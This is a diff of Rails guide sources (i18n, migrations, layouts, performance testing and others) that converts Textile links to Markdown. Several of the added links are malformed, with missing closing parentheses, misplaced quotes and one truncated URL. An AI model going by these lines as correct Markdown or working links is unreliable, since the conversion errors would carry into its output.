<del>* The "Ruby on Rails mailing list":http://groups.google.com/group/rubyonrails-talk
<del>* The "#rubyonrails":irc://irc.freenode.net/#rubyonrails channel on irc.freenode.net
<add>* The [Ruby on Rails guides](index.html)
<add>* The [Ruby on Rails Tutorial](http://railstutorial.org/book)
<add>* The [Ruby on Rails mailing list](http://groups.google.com/group/rubyonrails-talk)
<add>* The [#rubyonrails](irc://irc.freenode.net/#rubyonrails) channel on irc.freenode.net
<ide>
<ide> Rails also comes with built-in help that you can generate using the rake command-line utility:
<ide>
<ide><path>guides/source/i18n.md
<ide> This guide will walk you through the I18n API and contains a tutorial on how to
<ide>
<ide> --------------------------------------------------------------------------------
<ide>
<del>NOTE: The Ruby I18n framework provides you with all necessary means for internationalization/localization of your Rails application. You may, however, use any of various plugins and extensions available, which add additional functionality or features. See the Rails "I18n Wiki":http://rails-i18n.org/wiki for more information.
<add>NOTE: The Ruby I18n framework provides you with all necessary means for internationalization/localization of your Rails application. You may, however, use any of various plugins and extensions available, which add additional functionality or features. See the Rails [I18n Wiki](http://rails-i18n.org/wiki) for more information.
<ide>
<ide> How I18n in Ruby on Rails Works
<ide> -------------------------------
<ide> Thus, the Ruby I18n gem is split into two parts:
<ide>
<ide> As a user you should always only access the public methods on the I18n module, but it is useful to know about the capabilities of the backend.
<ide>
<del>NOTE: It is possible (or even desirable) to swap the shipped Simple backend with a more powerful one, which would store translation data in a relational database, GetText dictionary, or similar. See section "Using different backends":#using-different-backends below.
<add>NOTE: It is possible (or even desirable) to swap the shipped Simple backend with a more powerful one, which would store translation data in a relational database, GetText dictionary, or similar. See section [Using different backends](#using-different-backends) below.
<ide>
<ide> ### The Public I18n API
<ide>
<ide> en:
<ide> hello: "Hello world"
<ide> ```
<ide>
<del>This means, that in the `:en` locale, the key _hello_ will map to the _Hello world_ string. Every string inside Rails is internationalized in this way, see for instance Active Record validation messages in the "`activerecord/lib/active_record/locale/en.yml`":https://github.com/rails/rails/blob/master/activerecord/lib/active_record/locale/en.yml file or time and date formats in the "`activesupport/lib/active_support/locale/en.yml`":https://github.com/rails/rails/blob/master/activesupport/lib/active_support/locale/en.yml file. You can use YAML or standard Ruby Hashes to store translations in the default (Simple) backend.
<add>This means, that in the `:en` locale, the key _hello_ will map to the _Hello world_ string. Every string inside Rails is internationalized in this way, see for instance Active Record validation messages in the [`activerecord/lib/active_record/locale/en.yml`](https://github.com/rails/rails/blob/master/activerecord/lib/active_record/locale/en.yml file or time and date formats in the [`activesupport/lib/active_support/locale/en.yml`](https://github.com/rails/rails/blob/master/activesupport/lib/active_support/locale/en.yml) file. You can use YAML or standard Ruby Hashes to store translations in the default (Simple) backend.
<ide>
<ide> The I18n library will use *English* as a *default locale*, i.e. if you don't set a different locale, `:en` will be used for looking up translations.
<ide>
<del>NOTE: The i18n library takes a *pragmatic approach* to locale keys (after "some discussion":http://groups.google.com/group/rails-i18n/browse_thread/thread/14dede2c7dbe9470/80eec34395f64f3c?hl=en), including only the _locale_ ("language") part, like `:en`, `:pl`, not the _region_ part, like `:en-US` or `:en-GB`, which are traditionally used for separating "languages" and "regional setting" or "dialects". Many international applications use only the "language" element of a locale such as `:cs`, `:th` or `:es` (for Czech, Thai and Spanish). However, there are also regional differences within different language groups that may be important. For instance, in the `:en-US` locale you would have $ as a currency symbol, while in `:en-GB`, you would have £. Nothing stops you from separating regional and other settings in this way: you just have to provide full "English - United Kingdom" locale in a `:en-GB` dictionary. Various "Rails I18n plugins":http://rails-i18n.org/wiki such as "Globalize2":ht
<add>NOTE: The i18n library takes a *pragmatic approach* to locale keys (after [some discussion](http://groups.google.com/group/rails-i18n/browse_thread/thread/14dede2c7dbe9470/80eec34395f64f3c?hl=en), including only the _locale_ ("language") part, like `:en`, `:pl`, not the _region_ part, like `:en-US` or `:en-GB`, which are traditionally used for separating "languages" and "regional setting" or "dialects". Many international applications use only the "language" element of a locale such as `:cs`, `:th` or `:es` (for Czech, Thai and Spanish). However, there are also regional differences within different language groups that may be important. For instance, in the `:en-US` locale you would have $ as a currency symbol, while in `:en-GB`, you would have £. Nothing stops you from separating regional and other settings in this way: you just have to provide full "English - United Kingdom" locale in a `:en-GB` dictionary. Various [Rails I18n plugins](http://rails-i18n.org/wiki) such as [Globalize2](ht)
<ide>
<ide> The *translations load path* (`I18n.load_path`) is just a Ruby Array of paths to your translation files that will be loaded automatically and available in your application. You can pick whatever directory and translation file naming scheme makes sense for you.
<ide>
<ide> If you want to translate your Rails application to a *single language other than
<ide>
<ide> However, you would probably like to *provide support for more locales* in your application. In such case, you need to set and pass the locale between requests.
<ide>
<del>WARNING: You may be tempted to store the chosen locale in a _session_ or a <em>cookie</em>, however *do not do this*. The locale should be transparent and a part of the URL. This way you won't break people's basic assumptions about the web itself: if you send a URL to a friend, they should see the same page and content as you. A fancy word for this would be that you're being "<em>RESTful</em>":http://en.wikipedia.org/wiki/Representational_State_Transfer. Read more about the RESTful approach in "Stefan Tilkov's articles":http://www.infoq.com/articles/rest-introduction. Sometimes there are exceptions to this rule and those are discussed below.
<add>WARNING: You may be tempted to store the chosen locale in a _session_ or a <em>cookie</em>, however *do not do this*. The locale should be transparent and a part of the URL. This way you won't break people's basic assumptions about the web itself: if you send a URL to a friend, they should see the same page and content as you. A fancy word for this would be that you're being [<em>RESTful</em>](http://en.wikipedia.org/wiki/Representational_State_Transfer. Read more about the RESTful approach in [Stefan Tilkov's articles](http://www.infoq.com/articles/rest-introduction). Sometimes there are exceptions to this rule and those are discussed below.
<ide>
<ide> The _setting part_ is easy. You can set the locale in a `before_filter` in the `ApplicationController` like this:
<ide>
<ide> This approach has almost the same set of advantages as setting the locale from t
<ide>
<ide> Getting the locale from `params` and setting it accordingly is not hard; including it in every URL and thus *passing it through the requests* is. To include an explicit option in every URL (e.g. `link_to( books_url(:locale => I18n.locale))`) would be tedious and probably impossible, of course.
<ide>
<del>Rails contains infrastructure for "centralizing dynamic decisions about the URLs" in its "`ApplicationController#default_url_options`":http://api.rubyonrails.org/classes/ActionController/Base.html#M000515, which is useful precisely in this scenario: it enables us to set "defaults" for "`url_for`":http://api.rubyonrails.org/classes/ActionController/Base.html#M000503 and helper methods dependent on it (by implementing/overriding this method).
<add>Rails contains infrastructure for [centralizing dynamic decisions about the URLs" in its "`ApplicationController#default_url_options`](http://api.rubyonrails.org/classes/ActionController/Base.html#M000515, which is useful precisely in this scenario: it enables us to set "defaults" for [`url_for`](http://api.rubyonrails.org/classes/ActionController/Base.html#M000503) and helper methods dependent on it (by implementing/overriding this method).
<ide>
<ide> We can include something like this in our `ApplicationController` then:
<ide>
<ide> Every helper method dependent on `url_for` (e.g. helpers for named routes like `
<ide>
<ide> You may be satisfied with this. It does impact the readability of URLs, though, when the locale "hangs" at the end of every URL in your application. Moreover, from the architectural standpoint, locale is usually hierarchically above the other parts of the application domain: and URLs should reflect this.
<ide>
<del>You probably want URLs to look like this: `www.example.com/en/books` (which loads the English locale) and `www.example.com/nl/books` (which loads the Dutch locale). This is achievable with the "over-riding `default_url_options`" strategy from above: you just have to set up your routes with "`scoping`":http://api.rubyonrails.org/classes/ActionDispatch/Routing/Mapper/Scoping.html option in this way:
<add>You probably want URLs to look like this: `www.example.com/en/books` (which loads the English locale) and `www.example.com/nl/books` (which loads the Dutch locale). This is achievable with the [over-riding `default_url_options`" strategy from above: you just have to set up your routes with "`scoping`](http://api.rubyonrails.org/classes/ActionDispatch/Routing/Mapper/Scoping.html) option in this way:
<ide>
<ide> ```ruby
<ide> # config/routes.rb
<ide> match '/:locale' => 'dashboard#index'
<ide>
<ide> Do take special care about the *order of your routes*, so this route declaration does not "eat" other ones. (You may want to add it directly before the `root :to` declaration.)
<ide>
<del>NOTE: Have a look at two plugins which simplify work with routes in this way: Sven Fuchs's "routing_filter":https://github.com/svenfuchs/routing-filter/tree/master and Raul Murciano's "translate_routes":https://github.com/raul/translate_routes/tree/master.
<add>NOTE: Have a look at two plugins which simplify work with routes in this way: Sven Fuchs's [routing_filter](https://github.com/svenfuchs/routing-filter/tree/master and Raul Murciano's [translate_routes](https://github.com/raul/translate_routes/tree/master).
<ide>
<ide> ### Setting the Locale from the Client Supplied Information
<ide>
<ide> In specific cases, it would make sense to set the locale from client-supplied in
<ide>
<ide> #### Using `Accept-Language`
<ide>
<del>One source of client supplied information would be an `Accept-Language` HTTP header. People may "set this in their browser":http://www.w3.org/International/questions/qa-lang-priorities or other clients (such as _curl_).
<add>One source of client supplied information would be an `Accept-Language` HTTP header. People may [set this in their browser](http://www.w3.org/International/questions/qa-lang-priorities) or other clients (such as _curl_).
<ide>
<ide> A trivial implementation of using an `Accept-Language` header would be:
<ide>
<ide> def extract_locale_from_accept_language_header
<ide> end
<ide> ```
<ide>
<del>Of course, in a production environment you would need much more robust code, and could use a plugin such as Iain Hecker's "http_accept_language":https://github.com/iain/http_accept_language/tree/master or even Rack middleware such as Ryan Tomayko's "locale":https://github.com/rack/rack-contrib/blob/master/lib/rack/contrib/locale.rb.
<add>Of course, in a production environment you would need much more robust code, and could use a plugin such as Iain Hecker's [http_accept_language](https://github.com/iain/http_accept_language/tree/master or even Rack middleware such as Ryan Tomayko's [locale](https://github.com/rack/rack-contrib/blob/master/lib/rack/contrib/locale.rb).
<ide>
<ide> #### Using GeoIP (or Similar) Database
<ide>
<del>Another way of choosing the locale from client information would be to use a database for mapping the client IP to the region, such as "GeoIP Lite Country":http://www.maxmind.com/app/geolitecountry. The mechanics of the code would be very similar to the code above -- you would need to query the database for the user's IP, and look up your preferred locale for the country/region/city returned.
<add>Another way of choosing the locale from client information would be to use a database for mapping the client IP to the region, such as [GeoIP Lite Country](http://www.maxmind.com/app/geolitecountry). The mechanics of the code would be very similar to the code above -- you would need to query the database for the user's IP, and look up your preferred locale for the country/region/city returned.
<ide>
<ide> #### User Profile
<ide>
<ide> So that would give you:
<ide>
<ide> !images/i18n/demo_localized_pirate.png(rails i18n demo localized time to pirate)!
<ide>
<del>TIP: Right now you might need to add some more date/time formats in order to make the I18n backend work as expected (at least for the 'pirate' locale). Of course, there's a great chance that somebody already did all the work by *translating Rails' defaults for your locale*. See the "rails-i18n repository at Github":https://github.com/svenfuchs/rails-i18n/tree/master/rails/locale for an archive of various locale files. When you put such file(s) in `config/locales/` directory, they will automatically be ready for use.
<add>TIP: Right now you might need to add some more date/time formats in order to make the I18n backend work as expected (at least for the 'pirate' locale). Of course, there's a great chance that somebody already did all the work by *translating Rails' defaults for your locale*. See the [rails-i18n repository at Github](https://github.com/svenfuchs/rails-i18n/tree/master/rails/locale) for an archive of various locale files. When you put such file(s) in `config/locales/` directory, they will automatically be ready for use.
<ide>
<ide> ### Inflection Rules For Other Locales
<ide>
<ide> NOTE: The default locale loading mechanism in Rails does not load locale files i
<ide>
<ide> ```
<ide>
<del>Do check the "Rails i18n Wiki":http://rails-i18n.org/wiki for list of tools available for managing translations.
<add>Do check the [Rails i18n Wiki](http://rails-i18n.org/wiki) for list of tools available for managing translations.
<ide>
<ide> Overview of the I18n API Features
<ide> ---------------------------------
<ide> If a translation uses `:default` or `:scope` as an interpolation variable, an `I
<ide>
<ide> ### Pluralization
<ide>
<del>In English there are only one singular and one plural form for a given string, e.g. "1 message" and "2 messages". Other languages ("Arabic":http://unicode.org/repos/cldr-tmp/trunk/diff/supplemental/language_plural_rules.html#ar, "Japanese":http://unicode.org/repos/cldr-tmp/trunk/diff/supplemental/language_plural_rules.html#ja, "Russian":http://unicode.org/repos/cldr-tmp/trunk/diff/supplemental/language_plural_rules.html#ru and many more) have different grammars that have additional or fewer "plural forms":http://unicode.org/repos/cldr-tmp/trunk/diff/supplemental/language_plural_rules.html. Thus, the I18n API provides a flexible pluralization feature.
<add>In English there are only one singular and one plural form for a given string, e.g. "1 message" and "2 messages". Other languages ([Arabic](http://unicode.org/repos/cldr-tmp/trunk/diff/supplemental/language_plural_rules.html#ar), [Japanese](http://unicode.org/repos/cldr-tmp/trunk/diff/supplemental/language_plural_rules.html#ja), [Russian](http://unicode.org/repos/cldr-tmp/trunk/diff/supplemental/language_plural_rules.html#ru) and many more) have different grammars that have additional or fewer [plural forms](http://unicode.org/repos/cldr-tmp/trunk/diff/supplemental/language_plural_rules.html). Thus, the I18n API provides a flexible pluralization feature.
<ide>
<ide> The `:count` interpolation variable has a special role in that it both is interpolated to the translation and used to pick a pluralization from the translations according to the pluralization rules defined by CLDR:
<ide>
<ide> Rails uses fixed strings and other localizations, such as format strings and oth
<ide>
<ide> #### Action View Helper Methods
<ide>
<del>* `distance_of_time_in_words` translates and pluralizes its result and interpolates the number of seconds, minutes, hours, and so on. See "datetime.distance_in_words":https://github.com/rails/rails/blob/master/actionpack/lib/action_view/locale/en.yml#L51 translations.
<add>* `distance_of_time_in_words` translates and pluralizes its result and interpolates the number of seconds, minutes, hours, and so on. See [datetime.distance_in_words](https://github.com/rails/rails/blob/master/actionpack/lib/action_view/locale/en.yml#L51) translations.
<ide>
<del>* `datetime_select` and `select_month` use translated month names for populating the resulting select tag. See "date.month_names":https://github.com/rails/rails/blob/master/activesupport/lib/active_support/locale/en.yml#L15 for translations. `datetime_select` also looks up the order option from "date.order":https://github.com/rails/rails/blob/master/activesupport/lib/active_support/locale/en.yml#L18 (unless you pass the option explicitly). All date selection helpers translate the prompt using the translations in the "datetime.prompts":https://github.com/rails/rails/blob/master/actionpack/lib/action_view/locale/en.yml#L83 scope if applicable.
<add>* `datetime_select` and `select_month` use translated month names for populating the resulting select tag. See [date.month_names](https://github.com/rails/rails/blob/master/activesupport/lib/active_support/locale/en.yml#L15) for translations. `datetime_select` also looks up the order option from [date.order](https://github.com/rails/rails/blob/master/activesupport/lib/active_support/locale/en.yml#L18) (unless you pass the option explicitly). All date selection helpers translate the prompt using the translations in the [datetime.prompts](https://github.com/rails/rails/blob/master/actionpack/lib/action_view/locale/en.yml#L83) scope if applicable.
<ide>
<del>* The `number_to_currency`, `number_with_precision`, `number_to_percentage`, `number_with_delimiter`, and `number_to_human_size` helpers use the number format settings located in the "number":https://github.com/rails/rails/blob/master/actionpack/lib/action_view/locale/en.yml#L2 scope.
<add>* The `number_to_currency`, `number_with_precision`, `number_to_percentage`, `number_with_delimiter`, and `number_to_human_size` helpers use the number format settings located in the [number](https://github.com/rails/rails/blob/master/actionpack/lib/action_view/locale/en.yml#L2) scope.
<ide>
<ide> #### Active Model Methods
<ide>
<del>* `model_name.human` and `human_attribute_name` use translations for model names and attribute names if available in the "activerecord.models":https://github.com/rails/rails/blob/master/activerecord/lib/active_record/locale/en.yml#L29 scope. They also support translations for inherited class names (e.g. for use with STI) as explained above in "Error message scopes".
<add>* `model_name.human` and `human_attribute_name` use translations for model names and attribute names if available in the [activerecord.models](https://github.com/rails/rails/blob/master/activerecord/lib/active_record/locale/en.yml#L29) scope. They also support translations for inherited class names (e.g. for use with STI) as explained above in "Error message scopes".
<ide>
<ide> * `ActiveModel::Errors#generate_message` (which is used by Active Model validations but may also be used manually) uses `model_name.human` and `human_attribute_name` (see above). It also translates the error message and supports translations for inherited class names as explained above in "Error message scopes".
<ide>
<del>* `ActiveModel::Errors#full_messages` prepends the attribute name to the error message using a separator that will be looked up from "errors.format":https://github.com/rails/rails/blob/master/activemodel/lib/active_model/locale/en.yml#L4 (and which defaults to `"%{attribute} %{message}"`).
<add>* `ActiveModel::Errors#full_messages` prepends the attribute name to the error message using a separator that will be looked up from [errors.format](https://github.com/rails/rails/blob/master/activemodel/lib/active_model/locale/en.yml#L4) (and which defaults to `"%{attribute} %{message}"`).
<ide>
<ide> #### Active Support Methods
<ide>
<del>* `Array#to_sentence` uses format settings as given in the "support.array":https://github.com/rails/rails/blob/master/activesupport/lib/active_support/locale/en.yml#L30 scope.
<add>* `Array#to_sentence` uses format settings as given in the [support.array](https://github.com/rails/rails/blob/master/activesupport/lib/active_support/locale/en.yml#L30) scope.
<ide>
<ide> Customize your I18n Setup
<ide> -------------------------
<ide> Conclusion
<ide>
<ide> At this point you should have a good overview about how I18n support in Ruby on Rails works and are ready to start translating your project.
<ide>
<del>If you find anything missing or wrong in this guide, please file a ticket on our "issue tracker":http://i18n.lighthouseapp.com/projects/14948-rails-i18n/overview. If you want to discuss certain portions or have questions, please sign up to our "mailing list":http://groups.google.com/group/rails-i18n.
<add>If you find anything missing or wrong in this guide, please file a ticket on our [issue tracker](http://i18n.lighthouseapp.com/projects/14948-rails-i18n/overview). If you want to discuss certain portions or have questions, please sign up to our [mailing list](http://groups.google.com/group/rails-i18n).
<ide>
<ide>
<ide> Contributing to Rails I18n
<ide> --------------------------
<ide>
<ide> I18n support in Ruby on Rails was introduced in the release 2.2 and is still evolving. The project follows the good Ruby on Rails development tradition of evolving solutions in plugins and real applications first, and only then cherry-picking the best-of-breed of most widely useful features for inclusion in the core.
<ide>
<del>Thus we encourage everybody to experiment with new ideas and features in plugins or other libraries and make them available to the community. (Don't forget to announce your work on our "mailing list":http://groups.google.com/group/rails-i18n!)
<add>Thus we encourage everybody to experiment with new ideas and features in plugins or other libraries and make them available to the community. (Don't forget to announce your work on our [mailing list](http://groups.google.com/group/rails-i18n!))
<ide>
<del>If you find your own locale (language) missing from our "example translations data":https://github.com/svenfuchs/rails-i18n/tree/master/rails/locale repository for Ruby on Rails, please "_fork_":https://github.com/guides/fork-a-project-and-submit-your-modifications the repository, add your data and send a "pull request":https://github.com/guides/pull-requests.
<add>If you find your own locale (language) missing from our [example translations data](https://github.com/svenfuchs/rails-i18n/tree/master/rails/locale) repository for Ruby on Rails, please [_fork_](https://github.com/guides/fork-a-project-and-submit-your-modifications) the repository, add your data and send a [pull request](https://github.com/guides/pull-requests).
<ide>
<ide>
<ide> Resources
<ide> ---------
<ide>
<del>* "rails-i18n.org":http://rails-i18n.org - Homepage of the rails-i18n project. You can find lots of useful resources on the "wiki":http://rails-i18n.org/wiki.
<del>* "Google group: rails-i18n":http://groups.google.com/group/rails-i18n - The project's mailing list.
<del>* "Github: rails-i18n":https://github.com/svenfuchs/rails-i18n/tree/master - Code repository for the rails-i18n project. Most importantly you can find lots of "example translations":https://github.com/svenfuchs/rails-i18n/tree/master/rails/locale for Rails that should work for your application in most cases.
<del>* "Github: i18n":https://github.com/svenfuchs/i18n/tree/master - Code repository for the i18n gem.
<del>* "Lighthouse: rails-i18n":http://i18n.lighthouseapp.com/projects/14948-rails-i18n/overview - Issue tracker for the rails-i18n project.
<del>* "Lighthouse: i18n":http://i18n.lighthouseapp.com/projects/14947-ruby-i18n/overview - Issue tracker for the i18n gem.
<add>* [rails-i18n.org](http://rails-i18n.org) - Homepage of the rails-i18n project. You can find lots of useful resources on the [wiki](http://rails-i18n.org/wiki).
<add>* [Google group: rails-i18n](http://groups.google.com/group/rails-i18n) - The project's mailing list.
<add>* [Github: rails-i18n](https://github.com/svenfuchs/rails-i18n/tree/master) - Code repository for the rails-i18n project. Most importantly you can find lots of [example translations](https://github.com/svenfuchs/rails-i18n/tree/master/rails/locale) for Rails that should work for your application in most cases.
<add>* [Github: i18n](https://github.com/svenfuchs/i18n/tree/master) - Code repository for the i18n gem.
<add>* [Lighthouse: rails-i18n](http://i18n.lighthouseapp.com/projects/14948-rails-i18n/overview) - Issue tracker for the rails-i18n project.
<add>* [Lighthouse: i18n](http://i18n.lighthouseapp.com/projects/14947-ruby-i18n/overview) - Issue tracker for the i18n gem.
<ide>
<ide>
<ide> Authors
<ide> -------
<ide>
<del>* "Sven Fuchs":http://www.workingwithrails.com/person/9963-sven-fuchs (initial author)
<del>* "Karel Minařík":http://www.workingwithrails.com/person/7476-karel-mina-k
<add>* [Sven Fuchs](http://www.workingwithrails.com/person/9963-sven-fuchs) (initial author)
<add>* [Karel Minařík](http://www.workingwithrails.com/person/7476-karel-mina-k)
<ide>
<del>If you found this guide useful, please consider recommending its authors on "workingwithrails":http://www.workingwithrails.com.
<add>If you found this guide useful, please consider recommending its authors on [workingwithrails](http://www.workingwithrails.com).
<ide>
<ide>
<ide> Footnotes
<ide> ---------
<ide>
<del>fn1. Or, to quote "Wikipedia":http://en.wikipedia.org/wiki/Internationalization_and_localization: _"Internationalization is the process of designing a software application so that it can be adapted to various languages and regions without engineering changes. Localization is the process of adapting software for a specific region or language by adding locale-specific components and translating text."_
<add>fn1. Or, to quote [Wikipedia](http://en.wikipedia.org/wiki/Internationalization_and_localization:) _"Internationalization is the process of designing a software application so that it can be adapted to various languages and regions without engineering changes. Localization is the process of adapting software for a specific region or language by adding locale-specific components and translating text."_
<ide>
<ide> fn2. Other backends might allow or require to use other formats, e.g. a GetText backend might allow to read GetText files.
<ide>
<ide><path>guides/source/layouts_and_rendering.md
<ide> There are three tag options available for the `auto_discovery_link_tag`:
<ide>
<ide> The `javascript_include_tag` helper returns an HTML `script` tag for each source provided.
<ide>
<del>If you are using Rails with the "Asset Pipeline":asset_pipeline.html enabled, this helper will generate a link to `/assets/javascripts/` rather than `public/javascripts` which was used in earlier versions of Rails. This link is then served by the Sprockets gem, which was introduced in Rails 3.1.
<add>If you are using Rails with the [Asset Pipeline](asset_pipeline.html) enabled, this helper will generate a link to `/assets/javascripts/` rather than `public/javascripts` which was used in earlier versions of Rails. This link is then served by the Sprockets gem, which was introduced in Rails 3.1.
<ide>
<del>A JavaScript file within a Rails application or Rails engine goes in one of three locations: `app/assets`, `lib/assets` or `vendor/assets`. These locations are explained in detail in the "Asset Organization section in the Asset Pipeline Guide":asset_pipeline.html#asset-organization
<add>A JavaScript file within a Rails application or Rails engine goes in one of three locations: `app/assets`, `lib/assets` or `vendor/assets`. These locations are explained in detail in the [Asset Organization section in the Asset Pipeline Guide](asset_pipeline.html#asset-organization)
<ide>
<ide> You can specify a full path relative to the document root, or a URL, if you prefer. For example, to link to a JavaScript file that is inside a directory called `javascripts` inside of one of `app/assets`, `lib/assets` or `vendor/assets`, you would do this:
<ide>
<ide> Outputting `script` tags such as this:
<ide> <script src="/javascripts/jquery_ujs.js"></script>
<ide> ```
<ide>
<del>These two files for jQuery, `jquery.js` and `jquery_ujs.js` must be placed inside `public/javascripts` if the application doesn't use the asset pipeline. These files can be downloaded from the "jquery-rails repository on GitHub":https://github.com/indirect/jquery-rails/tree/master/vendor/assets/javascripts
<add>These two files for jQuery, `jquery.js` and `jquery_ujs.js` must be placed inside `public/javascripts` if the application doesn't use the asset pipeline. These files can be downloaded from the [jquery-rails repository on GitHub](https://github.com/indirect/jquery-rails/tree/master/vendor/assets/javascripts)
<ide>
<ide> WARNING: If you are using the asset pipeline, this tag will render a `script` tag for an asset called `defaults.js`, which would not exist in your application unless you've explicitly created it.
<ide>
<ide><path>guides/source/migrations.md
<ide> class AddReceiveNewsletterToUsers < ActiveRecord::Migration
<ide> end
<ide> ```
<ide>
<del>NOTE: Some "caveats":#using-models-in-your-migrations apply to using models in
<add>NOTE: Some [caveats](#using-models-in-your-migrations) apply to using models in
<ide> your migrations.
<ide>
<ide> This migration adds a `receive_newsletter` column to the `users` table. We want
<ide> database independent way (you'll read about them in detail later):
<ide> * `remove_reference`
<ide>
<ide> If you need to perform tasks specific to your database (e.g., create a
<del>"foreign key":#active-record-and-referential-integrity constraint) then the
<add>[foreign key](#active-record-and-referential-integrity) constraint) then the
<ide> `execute` method allows you to execute arbitrary SQL. A migration is just a
<ide> regular Ruby class so you're not limited to these functions. For example, after
<ide> adding a column you could write code to set the value of that column for
<ide> method to execute arbitrary SQL.
<ide>
<ide> For more details and examples of individual methods, check the API documentation.
<ide> In particular the documentation for
<del>"`ActiveRecord::ConnectionAdapters::SchemaStatements`":http://api.rubyonrails.org/classes/ActiveRecord/ConnectionAdapters/SchemaStatements.html
<add>[`ActiveRecord::ConnectionAdapters::SchemaStatements`](http://api.rubyonrails.org/classes/ActiveRecord/ConnectionAdapters/SchemaStatements.html)
<ide> (which provides the methods available in the `up` and `down` methods),
<del>"`ActiveRecord::ConnectionAdapters::TableDefinition`":http://api.rubyonrails.org/classes/ActiveRecord/ConnectionAdapters/TableDefinition.html
<add>[`ActiveRecord::ConnectionAdapters::TableDefinition`](http://api.rubyonrails.org/classes/ActiveRecord/ConnectionAdapters/TableDefinition.html)
<ide> (which provides the methods available on the object yielded by `create_table`)
<ide> and
<del>"`ActiveRecord::ConnectionAdapters::Table`":http://api.rubyonrails.org/classes/ActiveRecord/ConnectionAdapters/Table.html
<add>[`ActiveRecord::ConnectionAdapters::Table`](http://api.rubyonrails.org/classes/ActiveRecord/ConnectionAdapters/Table.html)
<ide> (which provides the methods available on the object yielded by `change_table`).
<ide>
<ide> ### Using the `change` Method
<ide> The `rake db:reset` task will drop the database, recreate it and load the
<ide> current schema into it.
<ide>
<ide> NOTE: This is not the same as running all the migrations - see the section on
<del>"schema.rb":#schema-dumping-and-you.
<add>[schema.rb](#schema-dumping-and-you).
<ide>
<ide> ### Running Specific Migrations
<ide>
<ide> Schema files are also useful if you want a quick look at what attributes an
<ide> Active Record object has. This information is not in the model's code and is
<ide> frequently spread across several migrations, but the information is nicely
<ide> summed up in the schema file. The
<del>"annotate_models":https://github.com/ctran/annotate_models gem automatically
<add>[annotate_models](https://github.com/ctran/annotate_models) gem automatically
<ide> adds and updates comments at the top of each model summarizing the schema if
<ide> you desire that functionality.
<ide>
<ide> constraints in the database.
<ide>
<ide> Although Active Record does not provide any tools for working directly with such
<ide> features, the `execute` method can be used to execute arbitrary SQL. You could
<del>also use some plugin like "foreigner":https://github.com/matthuhiggins/foreigner
<add>also use some plugin like [foreigner](https://github.com/matthuhiggins/foreigner)
<ide> which add foreign key support to Active Record (including support for dumping
<ide> foreign keys in `db/schema.rb`).
<ide><path>guides/source/nested_model_forms.md
<ide> In this guide you will:
<ide>
<ide> --------------------------------------------------------------------------------
<ide>
<del>NOTE: This guide assumes the user knows how to use the "Rails form helpers":form_helpers.html in general. Also, it’s *not* an API reference. For a complete reference please visit "the Rails API documentation":http://api.rubyonrails.org/.
<add>NOTE: This guide assumes the user knows how to use the [Rails form helpers](form_helpers.html) in general. Also, it’s *not* an API reference. For a complete reference please visit [the Rails API documentation](http://api.rubyonrails.org/).
<ide>
<ide>
<ide> Model setup
<ide><path>guides/source/performance_testing.md
<ide> end
<ide> ```
<ide>
<ide> You can find more details about the `get` and `post` methods in the
<del>"Testing Rails Applications":testing.html guide.
<add>[Testing Rails Applications](testing.html) guide.
<ide>
<ide> #### Model Example
<ide>
<ide> BrowsingTest#test_homepage (58 ms warmup)
<ide> ##### Flat
<ide>
<ide> Flat output shows the metric—time, memory, etc—measure in each method.
<del>"Check Ruby-Prof documentation for a better explanation":http://ruby-prof.rubyforge.org/files/examples/flat_txt.html.
<add>[Check Ruby-Prof documentation for a better explanation](http://ruby-prof.rubyforge.org/files/examples/flat_txt.html).
<ide>
<ide> ##### Graph
<ide>
<ide> Graph output shows the metric measure in each method, which methods call it and
<del>which methods it calls. "Check Ruby-Prof documentation for a better explanation":http://ruby-prof.rubyforge.org/files/examples/graph_txt.html.
<add>which methods it calls. [Check Ruby-Prof documentation for a better explanation](http://ruby-prof.rubyforge.org/files/examples/graph_txt.html).
<ide>
<ide> ##### Tree
<ide>
<del>Tree output is profiling information in calltree format for use by "kcachegrind":http://kcachegrind.sourceforge.net/html/Home.html
<add>Tree output is profiling information in calltree format for use by [kcachegrind](http://kcachegrind.sourceforge.net/html/Home.html)
<ide> and similar tools.
<ide>
<ide> ##### Output Availability
<ide> Metrics and formats have different defaults depending on the interpreter in use.
<ide> |Profiling |`[:wall_time]`|`[:flat, :graph]`|
<ide>
<ide> As you've probably noticed by now, metrics and formats are specified using a
<del>symbol array with each name "underscored.":http://api.rubyonrails.org/classes/String.html#method-i-underscore
<add>symbol array with each name [underscored.](http://api.rubyonrails.org/classes/String.html#method-i-underscore)
<ide>
<ide> ### Performance Test Environment
<ide>
<ide> The recommended patches for each MRI version are:
<ide> |1.8.7|ruby187gc|
<ide> |1.9.2 and above|gcdata|
<ide>
<del>All of these can be found on "RVM's _patches_ directory":https://github.com/wayneeseguin/rvm/tree/master/patches/ruby
<add>All of these can be found on [RVM's _patches_ directory](https://github.com/wayneeseguin/rvm/tree/master/patches/ruby)
<ide> under each specific interpreter version.
<ide>
<ide> Concerning the installation itself, you can either do this easily by using
<del>"RVM":http://rvm.beginrescueend.com or you can build everything from source,
<add>[RVM](http://rvm.beginrescueend.com) or you can build everything from source,
<ide> which is a little bit harder.
<ide>
<ide> #### Install Using RVM
<ide> block and prints the result to the log file:
<ide> Creating project (185.3ms)
<ide> ```
<ide>
<del>Please refer to the "API docs":http://api.rubyonrails.org/classes/ActiveSupport/Benchmarkable.html#method-i-benchmark
<add>Please refer to the [API docs](http://api.rubyonrails.org/classes/ActiveSupport/Benchmarkable.html#method-i-benchmark)
<ide> for additional options to `benchmark()`.
<ide>
<ide> ### Controller
<ide>
<del>Similarly, you could use this helper method inside "controllers.":http://api.rubyonrails.org/classes/ActiveSupport/Benchmarkable.html
<add>Similarly, you could use this helper method inside [controllers.](http://api.rubyonrails.org/classes/ActiveSupport/Benchmarkable.html)
<ide>
<ide> ```ruby
<ide> def process_projects
<ide> NOTE: `benchmark` is a class method inside controllers.
<ide>
<ide> ### View
<ide>
<del>And in "views":http://api.rubyonrails.org/classes/ActiveSupport/Benchmarkable.html:
<add>And in [views](http://api.rubyonrails.org/classes/ActiveSupport/Benchmarkable.html:)
<ide>
<ide> ```erb
<ide> <% benchmark("Showing projects partial") do %>
<ide> Rails, out of which 2 ms were spent rendering views and none was spent
<ide> communication with the database. It's safe to assume that the remaining 3 ms
<ide> were spent inside the controller.
<ide>
<del>Michael Koziarski has an "interesting blog post":http://www.therailsway.com/2009/1/6/requests-per-second
<add>Michael Koziarski has an [interesting blog post](http://www.therailsway.com/2009/1/6/requests-per-second)
<ide> explaining the importance of using milliseconds as the metric.
<ide>
<ide> Useful Links
